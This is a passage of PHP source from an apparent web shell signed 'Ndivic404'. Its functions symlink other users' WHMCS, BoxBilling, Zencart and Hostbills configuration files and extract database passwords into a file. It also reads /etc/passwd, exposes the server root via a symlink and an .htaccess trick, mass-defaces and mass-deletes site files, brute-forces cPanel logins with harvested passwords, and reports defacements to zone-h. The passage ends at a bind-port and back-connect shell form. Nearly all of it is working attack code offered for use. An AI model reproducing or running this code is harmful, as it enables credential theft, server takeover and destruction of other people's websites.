  605. @symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  606. @symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  607. @symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  608. @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  609. @symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  610. @symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  611. @symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  612. @symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  613. @symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  614. @symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  615. @symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  616. @symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  617. @symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  618. @symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  619. @symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  620. @symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  621. @symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  622. @symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  623. @symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  624. @symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  625. @symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  626. @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  627. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  628. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  629. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  630. @symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  631. @symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  632. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  633. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  634. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  635. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  636. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  637. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  638. @symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  639. @symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  640. @symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  641. @symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  642. @symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  643. @symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  644. @symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  645. @symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  646. @symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  647. @symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  648. @symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  649. @symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  650. @symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  651. @symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  652. @symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  653. @symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  654. @symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  655. @symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  656. @symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  657. @symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  658. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  659. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  660. @symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  661. @symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  662. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  663. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  664. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  665. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  666. @symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  667. @symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  668. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  669. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  670. @symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  671. @symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  672. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  673. @symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  674. @symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  675. @symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  676. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  677. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  678. @symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  679. @symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  680. @symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  681. }
  682. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien){
  683. $ar0=explode($marqueurDebutLien, $text);
  684. $ar1=explode($marqueurFinLien, $ar0[1]);
  685. $ar=trim($ar1[0]);
  686. return $ar;
  687. }
  688. $ffile=fopen('Passwords.txt','a+');
  689. $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/div_config/";
  690. $re=$r;
  691. $confi=array("-Wordpress.txt","-Joomla.txt","-CodeIgniter.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
  692. $users=file("/etc/passwd");
  693. foreach($users as $user){
  694. $str=explode(":",$user);
  695. $usersss=$str[0];
  696. foreach($confi as $co){
  697. $uurl=$re.$usersss.$co;
  698. $uel=$uurl;
  699. $ch = curl_init();
  700. curl_setopt($ch, CURLOPT_URL, $uel);
  701. curl_setopt($ch, CURLOPT_HEADER, 1);
  702. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  703. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  704. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  705. $result['EXE'] = curl_exec($ch);
  706. curl_close($ch);
  707. $uxl=$result['EXE'];
  708. if($uxl && preg_match('/table_prefix/i',$uxl)){
  709. $dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
  710. if(!empty($dbp))
  711. $pass=$dbp."\n";
  712. fwrite($ffile,$pass);
  713. }elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl)){
  714. $dbp=entre2v2($uxl,"db_password = '","';");
  715. if(!empty($dbp))
  716. $pass=$dbp."\n";
  717. fwrite($ffile,$pass);
  718. }elseif($uxl && preg_match('/dsn/i',$uxl)){
  719. $dbp=entre2v2($uxl,"password = '","';");
  720. if(!empty($dbp))
  721. $pass=$dbp."\n";
  722. fwrite($ffile,$pass);
  723. }elseif($uxl && preg_match('/dbprefix/i',$uxl)){
  724. $db=entre2v2($uxl,"password = '","';");
  725. if(!empty($db))
  726. $pass=$db."\n";
  727. fwrite($ffile,$pass);
  728. }elseif($uxl && preg_match('/admincpdir/i',$uxl)){
  729. $db=entre2v2($uxl,"password'] = '","';");
  730. if(!empty($db))
  731. $pass=$db."\n";
  732. fwrite($ffile,$pass);
  733. }elseif($uxl && preg_match('/DB_DATABASE/i',$uxl)){
  734. $db=entre2v2($uxl,"DB_PASSWORD', '","');");
  735. if(!empty($db))
  736. $pass=$db."\n";
  737. fwrite($ffile,$pass);
  738. }elseif($uxl && preg_match('/dbpass/i',$uxl)){
  739. $db=entre2v2($uxl,"dbpass = '","';");
  740. if(!empty($db))
  741. $pass=$db."\n";
  742. fwrite($ffile,$pass);
  743. }elseif($uxl && preg_match('/dbpass/i',$uxl)){
  744. $db=entre2v2($uxl,"dbpass = '","';");
  745. if(!empty($db))
  746. $pass=$db."\n";
  747. fwrite($ffile,$pass);
  748. }elseif($uxl && preg_match('/dbpass/i',$uxl)){
  749. $db=entre2v2($uxl,"dbpass = \"","\";");
  750. if(!empty($db))
  751. $pass=$db."\n";
  752. fwrite($ffile,$pass);
  753. }}}
  754. echo "<center>
  755. <a href='?dir=$dir/div_config/root/'>Root Server</a>
  756. <br><a href='?act=view&dir=$dir/div_config&file=Passwords.txt'>Passwords</a>
  757. <br><a href='?dir=$dir/div_config/'>Configurations</a></center>";
  758. }else{
  759. echo "<center>
  760. <form method='POST' class='form-group'>
  761. <textarea name='passwd' class='form-control' style='height:50%;'>";
  762. $file = '/etc/passwd';
  763. $read = @fopen($file, 'r');
  764. if ($read){
  765. $body = @fread($read, @filesize($file));
  766. echo "".htmlentities($body)."";
  767. }elseif(!$read){
  768. $read = @show_source($file) ;
  769. }elseif(!$read){
  770. $read = @highlight_file($file);
  771. }elseif(!$read){
  772. for($uid=0;$uid<1000;$uid++){
  773. $ara = posix_getpwuid($uid);
  774. if (!empty($ara)){
  775. while (list ($key, $val) = each($ara)){
  776. print "$val:";
  777. }print "\n";
  778. }}}
  779. flush();
  780. echo "</textarea><br>
  781. <input type='submit' name='m' class='btn btn-danger btn-block' value='Start'>
  782. </form></center>";
  783. }}}elseif($_GET['do'] == 'symlink') {
  784. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  785. $d0mains = @file("/etc/named.conf");
  786. if($d0mains){
  787. @mkdir("div_symlink",0777);
  788. @chdir("div_symlink");
  789. @exe("ln -s / root");
  790. $file3 = 'Options Indexes FollowSymLinks
  791. DirectoryIndex ndivic.html
  792. AddType text/plain .php
  793. AddHandler text/plain .php
  794. Satisfy Any';
  795. $fp3 = fopen('.htaccess','w');
  796. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  797. echo "
  798. <table class='table table-bordered table-hover'>
  799. <tr>
  800. <th>No</th>
  801. <th>Domains</th>
  802. <th>Users</th>
  803. <th>Symlink</th>
  804. </tr>";
  805. $dcount = 1;
  806. foreach($d0mains as $d0main){
  807. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  808. flush();
  809. if(strlen(trim($domains[1][0])) > 2){
  810. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  811. echo "<tr><td>" . $dcount . "</td>
  812. <td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td>
  813. <td>".$user['name']."</td>
  814. <td><a href='$full/div_symlink/root/home/".$user['name']."/public_html' target='_blank'>Symlink</a></td></tr>";
  815. flush();
  816. $dcount++;}}}
  817. echo "</table>";
  818. }else{
  819. $TEST=@file('/etc/passwd');
  820. if ($TEST){
  821. @mkdir("div_symlink",0777);
  822. @chdir("div_symlink");
  823. exe("ln -s / root");
  824. $file3 = 'Options Indexes FollowSymLinks
  825. DirectoryIndex ndivic.html
  826. AddType text/plain .php
  827. AddHandler text/plain .php
  828. Satisfy Any';
  829. $fp3 = fopen('.htaccess','w');
  830. $fw3 = fwrite($fp3,$file3);
  831. @fclose($fp3);
  832. echo "
  833. <table class='table table-bordered table-hover'><tr>
  834. <th>No</th>
  835. <th>Users</th>
  836. <th>Symlink</th></tr>";
  837. $dcount = 1;
  838. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  839. while(!feof($file)){
  840. $s = fgets($file);
  841. $matches = array();
  842. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  843. $matches = str_replace("home/","",$matches[1]);
  844. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  845. continue;
  846. echo "<tr><td>" . $dcount . "</td>
  847. <td>" . $matches . "</td>";
  848. echo "<td><a href=$full/div_symlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  849. $dcount++;}fclose($file);
  850. echo "</table>";}else{if($os != "Windows"){@mkdir("div_symlink",0777);@chdir("div_symlink");@exe("ln -s / root");$file3 = '
  851. Options Indexes FollowSymLinks
  852. DirectoryIndex ndivic.html
  853. AddType text/plain .php
  854. AddHandler text/plain .php
  855. Satisfy Any';
  856. $fp3 = fopen('.htaccess','w');
  857. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  858. echo "
  859. <div><h2>Server symlinker</h2>
  860. <table class='table table-bordered table-hover'><tr>
  861. <td>ID</td>
  862. <td>Users</td>
  863. <td>Symlink</td></tr>";
  864. $temp = "";$val1 = 0;$val2 = 1000;
  865. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  866. if ($uid)$temp .= join(':',$uid)."\n";}
  867. echo '<br>';$temp = trim($temp);$file5 =
  868. fopen("test.txt","w");
  869. fputs($file5,$temp);
  870. fclose($file5);$dcount = 1;$file =
  871. fopen("test.txt", "r") or exit("Unable to open file!");
  872. while(!feof($file)){$s = fgets($file);$matches = array();
  873. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  874. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  875. continue;
  876. echo "<tr><td>" . $dcount . "</td>
  877. <td>" . $matches . "</td>";
  878. echo "<td><a href=$full/div_symlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  879. $dcount++;}
  880. fclose($file);
  881. echo "</table></div></center>";unlink("test.txt");
  882. } else
  883. echo "<center>Cannot create Symlink</font></center>";
  884. }}}elseif($_GET['do'] == 'mass_deface') {
  885. function sabun_massal($dir,$namafile,$isi_script) {
  886. if(is_writable($dir)) {
  887. $dira = scandir($dir);
  888. foreach($dira as $dirb) {
  889. $dirc = "$dir/$dirb";
  890. $lokasi = $dirc.'/'.$namafile;
  891. if($dirb === '.') {
  892. file_put_contents($lokasi, $isi_script);
  893. } elseif($dirb === '..') {
  894. file_put_contents($lokasi, $isi_script);
  895. } else {
  896. if(is_dir($dirc)) {
  897. if(is_writable($dirc)) {
  898. echo "[<font color='green'>DONE</font>] $lokasi<br>";
  899. file_put_contents($lokasi, $isi_script);
  900. $div = sabun_massal($dirc,$namafile,$isi_script);
  901. }}}}}}
  902. function sabun_biasa($dir,$namafile,$isi_script) {
  903. if(is_writable($dir)) {
  904. $dira = scandir($dir);
  905. foreach($dira as $dirb) {
  906. $dirc = "$dir/$dirb";
  907. $lokasi = $dirc.'/'.$namafile;
  908. if($dirb === '.') {
  909. file_put_contents($lokasi, $isi_script);
  910. } elseif($dirb === '..') {
  911. file_put_contents($lokasi, $isi_script);
  912. } else {
  913. if(is_dir($dirc)) {
  914. if(is_writable($dirc)) {
  915. echo "[<font color='green'>DONE</font>] $dirb/$namafile<br>";
  916. file_put_contents($lokasi, $isi_script);
  917. }}}}}}
  918. if($_POST['start']) {
  919. if($_POST['tipe_sabun'] == 'mahal') {
  920. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  921. } elseif($_POST['tipe_sabun'] == 'murah') {
  922. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  923. }} else {
  924. echo "<form method='post' class='form-group'>
  925. <label>Tipe Sabun:</label>
  926. <input type='radio' name='tipe_sabun' value='murah' checked> Biasa <input type='radio' name='tipe_sabun' value='mahal'> Massal<br>
  927. <label>Folder:</label><br>
  928. <input type='text' name='d_dir' value='$dir' class='form-control'>
  929. <label>Filename:</label><br>
  930. <input type='text' name='d_file' value='index.html' class='form-control'>
  931. <label>Index File:</label><br>
  932. <textarea name='script' class='form-control' style='height: 200px;'>Hacked by Ndivic404</textarea><br>
  933. <input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'>
  934. </form>";
  935. }} elseif($_GET['do'] == 'mass_delete') {
  936. function hapus_massal($dir,$namafile) {
  937. if(is_writable($dir)) {
  938. $dira = scandir($dir);
  939. foreach($dira as $dirb) {
  940. $dirc = "$dir/$dirb";
  941. $lokasi = $dirc.'/'.$namafile;
  942. if($dirb === '.') {
  943. if(file_exists("$dir/$namafile")) {
  944. unlink("$dir/$namafile");
  945. }} elseif($dirb === '..') {
  946. if(file_exists("".dirname($dir)."/$namafile")) {
  947. unlink("".dirname($dir)."/$namafile");
  948. }} else {
  949. if(is_dir($dirc)) {
  950. if(is_writable($dirc)) {
  951. if(file_exists($lokasi)) {
  952. echo "[<font color='green'>DELETED</font>] $lokasi<br>";
  953. unlink($lokasi);
  954. $div = hapus_massal($dirc,$namafile);
  955. }}}}}}}
  956. if($_POST['start']) {
  957. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  958. } else {
  959. echo "<form method='post' class='form-group'>
  960. <label>Folder:</label><br>
  961. <input type='text' name='d_dir' value='$dir' class='form-control'><br>
  962. <label>Filename:</label><br>
  963. <input type='text' name='d_file' value='index.html' class='form-control'><br>
  964. <input type='submit' name='start' value='Mass Delete' class='btn btn-danger btn-block'>
  965. </form>";
  966. }}elseif($_GET['do'] == 'cpanel') {
  967. if($_POST['crack']) {
  968. $usercp = explode("\r\n", $_POST['user_cp']);
  969. $passcp = explode("\r\n", $_POST['pass_cp']);
  970. $i = 0;
  971. foreach($usercp as $ucp) {
  972. foreach($passcp as $pcp) {
  973. if(@mysql_connect('localhost', $ucp, $pcp)) {
  974. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  975. } else {
  976. $_SESSION[$ucp] = "1";
  977. $_SESSION[$pcp] = "1";
  978. $i++;
  979. echo "Username (<font color='green'>$ucp</font>) Password (<font color='green'>$pcp</font>)<br>";
  980. }}}}
  981. if($i == 0) {
  982. } else {
  983. echo "<br>Founded ".$i." Cpanel by <font color='green'>Ndivic404</font>";
  984. }} else {
  985. echo "
  986. <form method='post' class='form-group'>
  987. <label>USERNAME:</label><br>
  988. <textarea style='height: 100px;' class='form-control' name='user_cp'>";
  989. $_usercp = fopen("/etc/passwd","r");
  990. while($getu = fgets($_usercp)) {
  991. if($getu == '' || !$_usercp) {
  992. echo "<font color='red'>Can't read /etc/passwd</font>";
  993. } else {
  994. preg_match_all("/(.*?):x:/", $getu, $u);
  995. foreach($u[1] as $user_cp) {
  996. if(is_dir("/home/$user_cp/public_html")) {
  997. echo "$user_cp\n";
  998. }}}}
  999. echo "</textarea><br>
  1000. <label>PASSWORD:</label><br>
  1001. <textarea style='height: 100px;' class='form-control' name='pass_cp'>";
  1002. function cp_pass($dir) {
  1003. $pass = "";
  1004. $dira = scandir($dir);
  1005. foreach($dira as $dirb) {
  1006. if(!is_file("$dir/$dirb")) continue;
  1007. $ambil = file_get_contents("$dir/$dirb");
  1008. if(preg_match("/WordPress/", $ambil)) {
  1009. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1010. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1011. $pass .= ambilkata($ambil,"password = '","'")."\n";
  1012. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1013. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1014. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1015. $pass .= ambilkata($ambil,'password = "','"')."\n";
  1016. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1017. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1018. } elseif(preg_match("/client/", $ambil)) {
  1019. preg_match("/password=(.*)/", $ambil, $pass1);
  1020. if(preg_match('/"/', $pass1[1])) {
  1021. $pass1[1] = str_replace('"', "", $pass1[1]);
  1022. $pass .= $pass1[1]."\n";
  1023. }}elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1024. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1025. }}echo $pass;}
  1026. $cp_pass = cp_pass($dir);
  1027. echo $cp_pass;
  1028. echo "</textarea><br>
  1029. <input type='submit' name='crack' class='btn btn-danger btn-block' value='Crack'>
  1030. </form>
  1031. <span class='help-block text-center'>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>";
  1032. }}elseif($_GET['do'] == 'mass_helper'){
  1033. echo "<span class='help-block'>Help :<br>1. After you get root, upload your deface source as index.txt <br>2. Run this comand on your CMD / Terminal : <br></span>";
  1034. echo "<blockquote><span class='help-block'>cat /etc/httpd/conf/httpd.conf | grep DocumentRoot>dir.txt<br>";
  1035. echo "cat /etc/httpd/conf/httpd.conf | grep ServerName>dmn.txt</span></blockquote>";
  1036. echo "<form method=POST>
  1037. <div class='form-group'>
  1038. <label>Deface source code : </label>
  1039. <input title='Your index source code' type='text' name='source' value='index.txt' class='form-control'>
  1040. <label>Deface page name : </label>
  1041. <input title='The file name you want to put in all sites' type='text' name='index' value='ndivic.html' class='form-control'>
  1042. <label>List DocumentRoot from httpd.conf : </label><br>
  1043. <input type='text' name='dirs' class='form-control'>
  1044. <label>List ServerName from httpd.conf : </label><br>
  1045. <input type='text' name='sites' class='form-control'><br>
  1046. <input type='submit' value='Mass Helper' name='go' class='btn btn-danger btn-block'>
  1047. </form>
  1048. <br>";
  1049. if($_POST['go']){
  1050. $index = $_POST['index'];
  1051. $source = $_POST['source'];
  1052. $dirs =explode("\n",@dd1(file_get_contents($_POST['dirs'])));
  1053. $sites =explode("\n",@dd2(file_get_contents($_POST['sites'])));
  1054. if($_POST['dirs']){
  1055. $perl = fopen ('mass.txt','w+') or die ("WTF !! , i cannot create files o__O");
  1056. $perl_start = "#!/usr/bin/perl";
  1057. $perl_end = "print\"All Defaced !\";";
  1058. fwrite ($perl,$perl_start."\n\n");
  1059. foreach($dirs as $dir){
  1060. $result = "system(\"cat ".$source." > ".@kill($dir)."/".$index."\");";
  1061. fwrite ($perl, $result."\n");
  1062. flush();
  1063. }
  1064. echo "<label>Perl script </label><a style='text-decoration: none;color:green;' href='mass.txt'>mass.txt</a><br>";
  1065. echo "<span class='help-block'>Now run this mass.txt on ur CMD / Terminal => perl mass.txt </span><br>";
  1066. fwrite ($perl, "\n".$perl_end);
  1067. fclose($perl);
  1068. }
  1069. if($_POST['sites']){
  1070. $sitess = fopen ('sites.txt','w+') or die ("WTF !! , i can't create files o__O");
  1071. $sitess_start = "http://";
  1072. $sitess_end = "/";
  1073. fwrite ($sitess,"");
  1074. foreach($sites as $site){
  1075. $result2 = $sitess_start.@kill($site).$sitess_end.$index;
  1076. fwrite ($sitess, $result2."\n");
  1077. flush();}
  1078. echo "<label>Defaced sites : </label><a style='text-decoration: none;color:green;' href='sites.txt'>sites.txt</a><br>";
  1079. fwrite ($sitess,"");
  1080. fclose($sitess);}}
  1081. function kill($value){  return str_replace(array("\n","\r"),"",$value); }
  1082. function dd1($value){  return str_replace(array("DocumentRoot"," "),"",$value); }
  1083. function dd2($value){  return str_replace(array("ServerName"," "),"",$value); }
  1084. echo "<div class='help-block text-center'>Original script by ReZK2LL</div>";
  1085. }elseif($_GET['do'] == 'zoneh') {
  1086. if($_POST['submit']) {
  1087. $domain = explode("\r\n", $_POST['url']);
  1088. $nick =  $_POST['nick'];
  1089. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1090. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1091. function zoneh($url,$nick) {
  1092. $ch = curl_init("http://www.zone-h.com/notify/single");
  1093. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1094. curl_setopt($ch, CURLOPT_POST, true);
  1095. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1096. return curl_exec($ch);
  1097. curl_close($ch);
  1098. }
  1099. foreach($domain as $url) {
  1100. $zoneh = zoneh($url,$nick);
  1101. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1102. echo "$url -> <font color='green'>OK</font><br>";
  1103. } else {
  1104. echo "$url -> <font color='red'>ERROR</font><br>";
  1105. }
  1106. }
  1107. } else {
  1108. echo "<form method='post' 'form-group'>
  1109. <b>Defacer</b>: <br>
  1110. <input type='text' name='nick' size='50' value='Ndivic404' class='form-control'>
  1111. <b>Domains</b>: <br>
  1112. <textarea style='height: 150px;' class='form-control' name='url'></textarea><br>
  1113. <input type='submit' name='submit' value='Submit' class='btn btn-danger btn-block'>
  1114. </form>";
  1115. }
  1116. }elseif($_GET['do'] == 'network') {
  1117. echo "<form method='post'>
  1118. <b>Bind Port:</b><br>
  1119. <div class='input-group'>
  1120. <span class='input-group-btn'><input type='button' value='Port:' class='btn btn-default'></span><input type='text' placeholder='port' name='port_bind' value='6969' class='form-control'>
  1121. <span class='input-group-btn'><input type='submit' name='sub_bp' value='>>' class='btn btn-danger'></span>
  1122. </div>
  1123. </form>
  1124. <form method='post'>
  1125. <b>Back Connect:</b><br>
  1126. <div class='input-group'>
  1127. <span class='input-group-btn'><input type='button' value='Server:' class='btn btn-default'></span><input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."' class='form-control'>
  1128. <span class='input-group-btn'><input type='button' value='Port:' class='btn btn-default'></span><input type='text' placeholder='port' name='port_bc' value='6969' class='form-control'>
  1129. <span class='input-group-btn'><input type='submit' name='sub_bc' value='>>' class='btn btn-danger'></span>
  1130. </div>
  1131. </form>";
